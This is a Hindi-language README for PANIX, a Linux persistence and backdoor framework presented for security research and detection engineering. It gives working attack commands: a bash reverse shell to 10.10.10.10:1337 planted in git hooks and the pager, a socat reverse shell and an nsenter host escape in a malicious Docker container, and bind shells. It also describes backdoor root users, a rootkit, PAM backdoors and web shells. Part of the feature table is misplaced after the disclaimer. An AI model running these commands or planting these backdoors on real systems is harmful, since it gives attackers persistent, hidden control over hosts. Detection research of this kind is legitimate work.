
सुरक्षा अनुसंधान और डिटेक्शन इंजीनियरिंग के लिए अनुकूलन योग्य लिनक्स पर्सिस्टेंस टूल।

PANIX एक शक्तिशाली, मॉड्यूलर और अत्यधिक अनुकूलन योग्य Linux पर्सिस्टेंस फ्रेमवर्क है, जिसे सुरक्षा शोधकर्ताओं, डिटेक्शन इंजीनियरों, पेनेट्रेशन टेस्टर्स, CTF उत्साही लोगों और अन्य के लिए डिज़ाइन किया गया है। बहुमुखी प्रतिभा को ध्यान में रखकर निर्मित, PANIX कार्यक्षमता पर जोर देता है, जो इसे व्यापक प्रकार की पर्सिस्टेंस तकनीकों को समझने और लागू करने के लिए एक आवश्यक उपकरण बनाता है।

PANIX Linux पर्सिस्टेंस तंत्रों के अनुकरण और शोध के लिए बहुमुखी सुविधाओं का एक सूट प्रदान करता है।
| Feature | Description | Root | User |
|---|---|---|---|
| At Job Persistence | सिस्टम जॉब्स में प्रविष्टियाँ जोड़कर पर्सिस्टेंस लागू करता है। | ✅ | ✅ |
| Authorized Keys | SSH पहुँच के लिए authorized_keys फ़ाइल में एक सार्वजनिक कुंजी जोड़ता है। | ✅ | ✅ |
| Backdoor User | UID=0 (रूट विशेषाधिकार) वाला एक बैकडोर उपयोगकर्ता बनाता है। | ✅ | ❌ |
| Backdoor System User | सिस्टम उपयोगकर्ता को बैकडोर करता है (news/nobody के लिए SSH पहुँच)। | ✅ | ❌ |
| Backdoored /etc/passwd | सीधे /etc/passwd में एक दुर्भावनापूर्ण उपयोगकर्ता प्रविष्टि जोड़ता है। | ✅ | ❌ |
| Backdoored /etc/init.d | SysVinit (/etc/init.d) के माध्यम से पर्सिस्टेंस स्थापित करता है। | ✅ | ❌ |
| Backdoored /etc/rc.local | रन कंट्रोल (/etc/rc.local) के माध्यम से पर्सिस्टेंस स्थापित करता है। | ✅ | ❌ |
| Bind Shell | दूरस्थ पहुँच के लिए पूर्व-संकलित/LOLBin बाइंड शेल चलाता है। | ✅ | ✅ |
| Capabilities Backdoor | पर्सिस्टेंस बनाए रखने के लिए बाइनरी में विशिष्ट क्षमताएँ जोड़ता है। | ✅ | ❌ |
| Cron Job Persistence | रिबूट के बाद भी पर्सिस्टेंस सुनिश्चित करने के लिए cron जॉब्स सेट करता है। | ✅ | ✅ |
| Create User | सिस्टम पर एक नया उपयोगकर्ता खाता बनाता है। | ✅ | ❌ |
| D-Bus Backdoor | रूट रिवर्स शेल पहुँच के लिए एक D-Bus सेवा बनाता है। | ✅ | ❌ |
| Diamorphine Rootkit | Diamorphine लोडेबल कर्नेल मॉड्यूल रूटकिट स्थापित करता है। | ✅ | ❌ |
| Initramfs Persistence | रिबूट पर initramfs में UID=0 बैकडोर उपयोगकर्ता इंजेक्ट करता है। | ✅ | ❌ |
| Git Persistence | Git रिपॉजिटरी में पर्सिस्ट करने के लिए Git हुक या पेजर का उपयोग करता है। |

PANIX विभिन्न Linux वितरणों पर व्यापक समर्थन प्रदान करता है।
कस्टम या पुराने Linux वितरणों में अलग कॉन्फ़िगरेशन हो सकते हैं या विशिष्ट सुविधाओं की कमी हो सकती है, जिसके कारण तंत्र अप्रयुक्त संस्करणों पर विफल हो सकते हैं। यदि कोई डिफ़ॉल्ट कमांड विफल हो जाता है, तो अपने वातावरण के अनुसार पथ और कमांड समायोजित करने के लिए अधिकांश सुविधाओं में उपलब्ध --custom फ्लैग का उपयोग करें। यदि इससे समस्या हल नहीं होती है, तो अपनी आवश्यकताओं के अनुरूप स्क्रिप्ट की समीक्षा करें और उसे संशोधित करें।
नई सुविधाओं, अपडेट या विचारों के लिए पुल रिक्वेस्ट या इश्यू के माध्यम से योगदान का हमेशा स्वागत है!

PANIX रिपॉजिटरी को मॉड्यूलरिटी, रखरखाव और विस्तार में आसानी के लिए डिज़ाइन किया गया है। प्रत्येक पर्सिस्टेंस तंत्र में सेटअप और रिवर्ट स्क्रिप्ट शामिल हैं, जो प्रबंधन और हटाने को सरल बनाती हैं।```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## मुख्य लाभ
- **युग्मित सेटअप और रिवर्ट**: प्रत्येक `setup_*.sh` के लिए एक संगत `revert_*.sh` होता है, जो पर्सिस्टेंस तंत्रों को आसानी से हटाना सुनिश्चित करता है।
- **मॉड्यूलर डिज़ाइन**: मौजूदा मॉड्यूल्स को आसानी से संशोधित करें या नए जोड़ें, बिना मुख्य स्क्रिप्ट को प्रभावित किए।
- **सरल विस्तार**: नई कार्यक्षमता जोड़ने के लिए:
1. `modules/` में एक नया `setup_*.sh` बनाएं।
2. `modules/revert/` में एक संगत `revert_*.sh` जोड़ें।
3. नई स्क्रिप्ट्स को शामिल करने के लिए `main.sh` अपडेट करें।
4. मदद मेनू में मॉड्यूल शामिल करने के लिए `common.sh` अपडेट करें।
4. अपडेटेड `panix.sh` उत्पन्न करने के लिए `build.sh` चलाएं।

# आरंभ करना
PANIX को शुरू करना और चालू करना उतना ही सरल है जितना [रिलीज़ पेज](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) से स्क्रिप्ट डाउनलोड करके उसे चलाना:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
या इसे डाउनलोड करके मैन्युअल रूप से चलाएँ:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
स्क्रिप्ट निष्पादित करने पर, वर्तमान उपयोगकर्ता के विशेषाधिकारों के आधार पर, `root` या `user` सहायता मेनू प्रदर्शित होगा।```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

स्क्रिप्ट काफी हद तक स्व-व्याख्यात्मक होनी चाहिए, फिर भी, यह अनुभाग PANIX के साथ काम करने के कुछ उदाहरण दिखाएगा।
प्रत्येक पर्सिस्टेंस मैकेनिज्म के लिए एक अलग सहायता मेनू होता है:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
हर पर्सिस्टेंस मैकेनिज्म में एक `--examples` फ्लैग भी होता है जो डिफ़ॉल्ट और कस्टम उदाहरण दिखाता है, जिससे आपके लिए काम करने वाला कमांड तैयार करने में सहायता मिलती है।```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
अधिकांश पर्सिस्टेंस तंत्र बहुत सरल हैं, और (उम्मीद है) उन्हें अधिक स्पष्टीकरण की आवश्यकता नहीं होगी। उदाहरण के लिए, systemd पर्सिस्टेंस को केवल निष्पादित करके सेट किया जा सकता है:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
पर्सिस्टेंस तंत्र स्थापित करते समय, स्क्रिप्ट आपको बताएगी कि यह काम किया या नहीं, और ऐसे मामलों में जहाँ पर्सिस्टेंस तंत्र के साथ काम करने के लिए जानकारी की आवश्यकता होती है, अतिरिक्त जानकारी प्रदान की जाती है। उदाहरण के लिए बाइंड शेल तंत्र:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
आपको bind shell के साथ इंटरैक्ट करने की अनुमति देता है:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
यही बात उन तंत्रों पर भी लागू होती है जिनमें अतिरिक्त अंतर्निहित सुविधाएँ होती हैं, जैसे कि Docker persistence तंत्र, जिसमें अंतर्निहित रूट होस्ट एस्केप होता है:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
जो आपको ठीक-ठीक दिखाता है कि कंटेनर से कैसे बाहर निकलें, और होस्ट तक पहुंच कैसे प्राप्त करें।``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## रिवर्ट तंत्र
PANIX `--revert` कमांड के माध्यम से अपने द्वारा किए गए बदलावों को साफ कर सकता है। दोनों अलग-अलग मॉड्यूल के लिए:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
और सभी मॉड्यूल के लिए:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## MITRE ATT&CK मैट्रिक्स
PANIX में एक अंतर्निर्मित MITRE ATT&CK मैट्रिक्स है जो उपलब्ध तकनीकों और उप-तकनीकों को प्रदर्शित करता है।```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

वे प्रकाशन जिनमें PANIX का उपयोग किया गया है:
Linux सुरक्षा अनुसंधान पर अपडेट के लिए बेझिझक मेरे सोशल्स देखें।

PANIX को साझा करके, आप दूसरों को उनकी सुरक्षा स्थिति का परीक्षण और सुधार करने में सहायता कर सकते हैं, साथ ही Linux सुरक्षा में नई डिटेक्शन क्षमताओं के विकास का समर्थन कर सकते हैं।

PANIX केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए है। इस उपकरण का दुर्भावनापूर्ण गतिविधियों के लिए दुरुपयोग समर्थित नहीं है और यह पूर्णतः उपयोगकर्ता के अपने जोखिम पर है। PANIX का उपयोग करके, आप सहमत हैं कि आप अपने कार्यों के लिए स्वयं जिम्मेदार हैं। बस मूर्खतापूर्ण काम न करें।
| ✅ |
| ✅ |
| Generator Persistence | पर्सिस्टेंट सेवाएँ बनाने के लिए systemd जनरेटर का लाभ उठाता है। | ✅ | ❌ |
| GRUB Backdoor | बूट पर बैकडोर निष्पादित करने के लिए GRUB में हेरफेर करता है। | ✅ | ❌ |
| Malicious Container | एस्केप होस्ट करने के लिए डिज़ाइन किया गया Docker कंटेनर तैनात करता है। | ✅ | ✅ |
| Malicious Package | पर्सिस्टेंस प्राप्त करने के लिए DPKG/RPM पैकेज स्थापित करता है। | ✅ | ❌ |
| NetworkManager | नेटवर्क क्रियाओं पर पर्सिस्ट करने के लिए एक डिस्पैचर स्क्रिप्ट स्थापित करता है। | ✅ | ❌ |
| LD_PRELOAD Backdoor | पर्सिस्टेंस के लिए दुर्भावनापूर्ण लाइब्रेरी इंजेक्ट करने हेतु LD_PRELOAD का उपयोग करता है। | ✅ | ❌ |
| LKM Backdoor | पर्सिस्टेंस बनाए रखने के लिए एक लोडेबल कर्नेल मॉड्यूल लोड करता है। | ✅ | ❌ |
| MOTD Backdoor | पर्सिस्टेंस स्थापित करने के लिए Message of the Day (MOTD) को बदलता है। | ✅ | ❌ |
| Package Manager | उपयोग पर पर्सिस्टेंस स्थापित करने के लिए APT/YUM/DNF में हेरफेर करता है। | ✅ | ❌ |
| PAM Persistence | एक दुष्ट मॉड्यूल या pam_exec का उपयोग करके PAM बैकडोर स्थापित करता है। | ✅ | ❌ |
| Password Change | बैकडोर खातों को सुरक्षित करने के लिए उपयोगकर्ता पासवर्ड बदलता है। | ✅ | ❌ |
| Polkit Backdoor | अत्यधिक अनुमतिपूर्ण Polkit कॉन्फ़िगरेशन बैकडोर बनाता है। | ✅ | ❌ |
| Reverse Shell | एक रिवर्स शेल स्थापित करता है (कई LOLBins का समर्थन करता है)। | ✅ | ✅ |
| Shell Profile Persistence | उपयोगकर्ता लॉगिन पर स्क्रिप्ट निष्पादित करने के लिए शेल प्रोफ़ाइल संशोधित करता है। | ✅ | ✅ |
| SSH Key Persistence | SSH के माध्यम से स्थायी पहुँच बनाए रखने के लिए SSH कुंजियों में हेरफेर करता है। | ✅ | ✅ |
| Sudoers Backdoor | उन्नत विशेषाधिकार प्रदान करने के लिए /etc/sudoers फ़ाइल को बदलता है। | ✅ | ❌ |
| SUID Backdoor | SUID बिट सेट करके बाइनरी को बैकडोर करता है। | ✅ | ❌ |
| System Binary Backdoor | बैकडोर कार्यक्षमता शामिल करने के लिए सिस्टम बाइनरी को रैप करता है। | ✅ | ❌ |
| Systemd Service | ऐसी systemd सेवाएँ बनाता है जो रिबूट पर पर्सिस्टेंस सुनिश्चित करती हैं। | ✅ | ✅ |
| Udev Persistence | हार्डवेयर इंटरैक्शन स्तर पर पर्सिस्ट करने के लिए ड्राइवरों का उपयोग करता है। | ✅ | ❌ |
| Web Shell Persistence | वेब इंटरफेस के माध्यम से दूरस्थ पहुँच के लिए वेब सर्वर तैनात करता है। | ✅ | ✅ |
| XDG Autostart | उपयोगकर्ता लॉगिन पर पर्सिस्ट करने के लिए XDG ऑटोस्टार्ट निर्देशिकाओं का उपयोग करता है। | ✅ | ✅ |
| Distribution | Support | Tested Version |
|---|
| Debian | ✅ | Debian 11 और 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine अनुपलब्ध) |
| RHEL | ✅ | RHEL 9 (MOTD और Pre-OS Boot तकनीकें अनुपलब्ध) |
| CentOS | ✅ | CentOS Stream 9 और 7 (MOTD और Pre-OS Boot तकनीकें अनुपलब्ध) |
| Fedora | ✅ | पूरी तरह से परीक्षित नहीं |
| Arch Linux | ✅ | पूरी तरह से परीक्षित नहीं |
| OpenSUSE | ✅ | पूरी तरह से परीक्षित नहीं |